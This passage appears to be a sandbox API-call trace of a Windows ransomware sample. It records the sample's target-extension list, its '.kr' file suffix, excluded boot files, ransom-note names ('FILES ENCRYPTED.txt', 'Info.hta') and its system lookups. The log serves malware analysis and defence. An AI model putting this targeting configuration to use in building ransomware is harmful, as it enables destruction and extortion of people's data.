(lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0076.269] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4c73a8 | out: hHeap=0x440000) returned 1 [0076.269] lstrlenW (lpString="") returned 0 [0076.269] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4cae00 | out: hHeap=0x440000) returned 1 [0076.269] lstrlenW (lpString=".kr") returned 3 [0076.269] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x47fbb0, Size=0x8) returned 0x47f9a0 [0076.269] lstrlenW (lpString=".kr") returned 3 [0076.269] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4cae90 | out: hHeap=0x440000) returned 1 [0076.269] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4cada0, Size=0x20) returned 0x47f668 [0076.269] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x47f668, Size=0x40) returned 0x45abc8 [0076.269] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x45abc8, Size=0x80) returned 0x4c69a0 [0076.270] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x47fbb0, Size=0x8) returned 0x47f920 [0076.270] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x47f920, Size=0x10) returned 0x4caf20 [0076.270] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4caf20, Size=0x20) returned 0x47f7d0 [0076.270] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0076.270] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4c69a0 | out: hHeap=0x440000) returned 1 [0076.270] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4caf50, Size=0x20) returned 0x47f618 [0076.270] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x47f618, Size=0x40) returned 0x45adc0 [0076.270] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0076.270] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0076.270] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45adc0 | out: hHeap=0x440000) returned 1 [0076.270] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4cad58, Size=0x20) returned 0x47f668 [0076.270] lstrlenW (lpString="Info.hta") returned 8 [0076.270] lstrlenW (lpString="Info.hta") returned 8 [0076.270] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x47f668 | out: hHeap=0x440000) returned 1 [0076.270] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x4a63a8, nSize=0x7fff | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\WindowsSystem32file.pe32.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\windowssystem32file.pe32.exe")) returned 0x34 [0076.270] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4a63a8 | out: hHeap=0x440000) returned 1 [0076.271] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0076.271] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x47f7d0, Size=0x40) returned 0x45ae50 [0076.271] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4caea8, Size=0x20) returned 0x47f758 [0076.273] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4caf20, Size=0x20) returned 0x47f668 [0076.273] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x47f668, Size=0x40) returned 0x45af28 [0076.273] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x45af28, Size=0x80) returned 0x4c6de0 [0076.273] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4c6de0, Size=0x100) returned 0x484f18 [0076.273] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0076.273] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x484f18 | out: hHeap=0x440000) returned 1 [0076.273] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x4a63a8, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc [0076.273] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4cb1e8 | out: hHeap=0x440000) returned 1 [0076.274] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4a63a8 | out: hHeap=0x440000) returned 1 [0076.275] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x47fa20, Size=0x8) returned 0x47f9e0 [0076.275] lstrlenW (lpString="%windir%;") returned 9 [0076.275] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x47f758 | out: hHeap=0x440000) returned 1 [0076.275] lstrlenW (lpString="C:\\WINDOWS;") returned 11 [0076.275] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4963a0 | out: hHeap=0x440000) returned 1 [0076.276] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4caec0, Size=0x20) returned 0x47f730 [0076.276] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x47f730, Size=0x40) returned 0x45a820 [0076.276] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x45a820, Size=0x80) returned 0x4c6890 [0076.277] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4c6890, Size=0x100) returned 0x484f18 [0076.277] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x47f9f0, Size=0x8) returned 0x47f8f0 [0076.277] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x47f8f0, Size=0x10) returned 0x4cad28 [0076.277] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4cad28, Size=0x20) returned 0x47f668 [0076.277] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x47f980, Size=0x8) returned 0x47f990 [0076.277] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x47f850, Size=0x8) returned 0x47f870 [0076.277] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x47f9f0, Size=0x8) returned 0x47f840 [0076.277] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x47f840, Size=0x10) returned 0x4cadb8 [0076.277] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4cadb8, Size=0x20) returned 0x47f758 [0076.277] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x47f990, Size=0x10) returned 0x4caf98 [0076.277] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x47f870, Size=0x10) returned 0x4cafe0 [0076.277] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x47f900, Size=0x8) returned 0x47f8d0 [0076.277] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x47f900, Size=0x8) returned 0x47f920 [0076.277] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4caf98, Size=0x20) returned 0x47f690 [0076.277] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4cafe0, Size=0x20) returned 0x47f550 [0076.277] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x47f890, Size=0x8) returned 0x47fa20 [0076.277] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0076.277] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x484f18 | out: hHeap=0x440000) returned 1 [0076.277] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4cae90, Size=0x20) returned 0x47f578 [0076.278] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x4cb1e8, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0076.278] lstrlenW (lpString="C:\\") returned 3 [0076.278] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0076.278] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4cb1e8 | out: hHeap=0x440000) returned 1 [0076.279] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x47f850, Size=0x82) returned 0x484fa8 [0076.279] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x47f8a0, Size=0x100) returned 0x4c8bb8 [0076.279] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x484fa8, Size=0x104) returned 0x4c9658 [0076.279] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4c8bb8, Size=0x200) returned 0x4c9768 [0076.281] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x47f890 | out: hHeap=0x440000) returned 1 [0076.281] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4c9768 | out: hHeap=0x440000) returned 1 [0076.281] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4cb058 | out: hHeap=0x440000) returned 1 [0076.281] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4c69a0 | out: hHeap=0x440000) returned 1 [0076.281] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4cb148 | out: hHeap=0x440000) returned 1 [0076.281] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4c6780 | out: hHeap=0x440000) returned 1 [0076.281] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4cb0d0 | out: hHeap=0x440000) returned 1 [0076.281] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4c9658 | out: hHeap=0x440000) returned 1 [0076.281] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4cb178 | out: hHeap=0x440000) returned 1 [0076.281] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4c8cc0 | out: hHeap=0x440000) returned 1 [0076.281] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4cb028 | out: hHeap=0x440000) returned 1 [0076.281] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4c95c8 | out: hHeap=0x440000) returned 1 [0076.281] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4cb0b8 | out: hHeap=0x440000) returned 1 [0076.281] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4cb058, Size=0x20) returned 0x47f730 [0076.281] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x47f730, Size=0x40) returned 0x45a988 [0076.281] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x47f990 | out: hHeap=0x440000) returned 1 [0076.281] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4cae90 | out: hHeap=0x440000) returned 1 [0076.281] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x484f18 | out: hHeap=0x440000) returned 1 [0076.281] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4cb130 | out: hHeap=0x440000) returned 1 [0076.281] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4c6f78 | out: hHeap=0x440000) returned 1 [0076.281] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4caec0 | out: hHeap=0x440000) returned 1 [0076.282] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x47f840 | out: hHeap=0x440000) returned 1 [0076.282] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4cb160 | out: hHeap=0x440000) returned 1 [0076.282] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x455528 | out: hHeap=0x440000) returned 1 [0076.282] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x456760 | out: hHeap=0x440000) returned 1 [0076.282] lstrlenW (lpString="%systemdrive%") returned 13 [0076.282] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x47f578 | out: hHeap=0x440000) returned 1 [0076.282] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4c6890 | out: hHeap=0x440000) returned 1 [0076.282] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x47f9f0 | out: hHeap=0x440000) returned 1 [0076.282] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x486380, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x260 [0076.283] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4cb010, Size=0x20) returned 0x47f780 [0076.283] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x47f780, Size=0x40) returned 0x45abc8 [0076.283] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x45abc8, Size=0x80) returned 0x4c6ef0 [0076.283] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4c6ef0, Size=0x100) returned 0x484f18 [0076.283] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x484f18, Size=0x200) returned 0x4c8bb8 [0076.283] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4c8bb8, Size=0x400) returned 0x4c95c8 [0076.283] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4c95c8, Size=0x800) returned 0x4c73a8 [0076.283] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4c73a8, Size=0x1000) returned 0x4c73a8 [0076.284] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x47f990, Size=0x8) returned 0x47f9f0 [0076.284] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x47f9f0, Size=0x10) returned 0x4cb118 [0076.284] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4cb118, Size=0x20) returned 0x47f730 [0076.284] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x47f730, Size=0x40) returned 0x45a9d0 [0076.284] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x45a9d0, Size=0x80) returned 0x4c6ab0 [0076.284] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4c6ab0, Size=0x100) returned 0x4a7030 [0076.285] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4a7030, Size=0x200) returned 0x4c8bb8 [0076.285] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4c8bb8, Size=0x400) returned 0x4c95c8 [0076.285] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4c95c8, Size=0x800) returned 0x4de620 [0076.285] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0076.285] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4c73a8 | out: hHeap=0x440000) returned 1 [0076.285] lstrlenW (lpString="") returned 0 [0076.285] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4a8338 | out: hHeap=0x440000) returned 1 [0076.285] lstrlenW (lpString=".kr") returned 3 [0076.285] lstrlenW (lpString=".kr") returned 3 [0076.285] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4a8338 | out: hHeap=0x440000) returned 1 [0076.285] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4a8338, Size=0x20) returned 0x47f578 [0076.285] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x47f578, Size=0x40) returned 0x45af28 [0076.285] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x45af28, Size=0x80) returned 0x4c6890 [0076.285] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4de588, Size=0x8) returned 0x4de528 [0076.285] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4de528, Size=0x10) returned 0x4a8338 [0076.286] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4a8338, Size=0x20) returned 0x47f618 [0076.286] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0076.286] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4c6890 | out: hHeap=0x440000) returned 1 [0076.286] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4a8350, Size=0x20) returned 0x47f780 [0076.286] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x47f780, Size=0x40) returned 0x45a820 [0076.286] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0076.286] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0076.286] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45a820 | out: hHeap=0x440000) returned 1 [0076.286] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4a8350, Size=0x20) returned 0x47f780 [0076.286] lstrlenW (lpString="Info.hta") returned 8 [0076.286] lstrlenW (lpString="Info.hta") returned 8 [0076.286] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x47f780 | out: hHeap=0x440000) returned 1 [0076.286] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x4a83b8, nSize=0x7fff | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\WindowsSystem32file.pe32.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\windowssystem32file.pe32.exe")) returned 0x34 [0076.286] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4a83b8 | out: hHeap=0x440000) returned 1 [0076.287] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0076.287] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x47f618, Size=0x40) returned 0x45adc0 [0076.287] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4a8350, Size=0x20) returned 0x47f780 [0076.288] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4a8350, Size=0x20) returned 0x47f618 [0076.288] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x47f618, Size=0x40) returned 0x45ad78 [0076.288] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x45ad78, Size=0x80) returned 0x4c66f8 [0076.288] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4c66f8, Size=0x100) returned 0x4a65e0 [0076.288] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0076.288] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4a65e0 | out: hHeap=0x440000) returned 1 [0076.288] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x4a83b8, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc [0076.288] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4dee28 | out: hHeap=0x440000) returned 1 [0076.288] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4a83b8 | out: hHeap=0x440000) returned 1 [0076.552] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4de548, Size=0x8) returned 0x4de568 [0076.552] lstrlenW (lpString="%windir%;") returned 9 [0076.552] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x47f780 | out: hHeap=0x440000) returned 1 [0076.552] lstrlenW (lpString="C:\\WINDOWS;") returned 11 [0076.552] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4963a0 | out: hHeap=0x440000) returned 1 [0076.553] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4a7558, Size=0x20) returned 0x47f780 [0076.553] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x47f780, Size=0x40) returned 0x45ae08 [0076.553] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x45ae08, Size=0x80) returned 0x4c7000 [0076.553] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4c7000, Size=0x100) returned 0x4a66e8 [0076.553] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4de4b8, Size=0x8) returned 0x4de4c8 [0076.553] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4de4c8, Size=0x10) returned 0x4a74c8 [0076.553] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4a74c8, Size=0x20) returned 0x47f780 [0076.553] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4de5d8, Size=0x8) returned 0x4de5e8 [0076.553] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4de598, Size=0x8) returned 0x4de588 [0076.553] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4de498, Size=0x8) returned 0x4de5d8 [0076.553] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4de5d8, Size=0x10) returned 0x4a7498 [0076.553] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4a7498, Size=0x20) returned 0x47f348 [0076.553] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4de5e8, Size=0x10) returned 0x4a7498 [0076.553] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4de588, Size=0x10) returned 0x4a74b0 [0076.553] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4de478, Size=0x8) returned 0x4de5e8 [0076.553] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4de458, Size=0x8) returned 0x4de4b8 [0076.553] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4a7498, Size=0x20) returned 0x47f2d0 [0076.553] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4a74b0, Size=0x20) returned 0x47f398 [0076.553] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4de488, Size=0x8) returned 0x4de498 [0076.553] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0076.553] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4a66e8 | out: hHeap=0x440000) returned 1 [0076.554] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4a74b0, Size=0x20) returned 0x47f3c0 [0076.554] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x4963a0, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0076.554] lstrlenW (lpString="C:\\") returned 3 [0076.554] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) 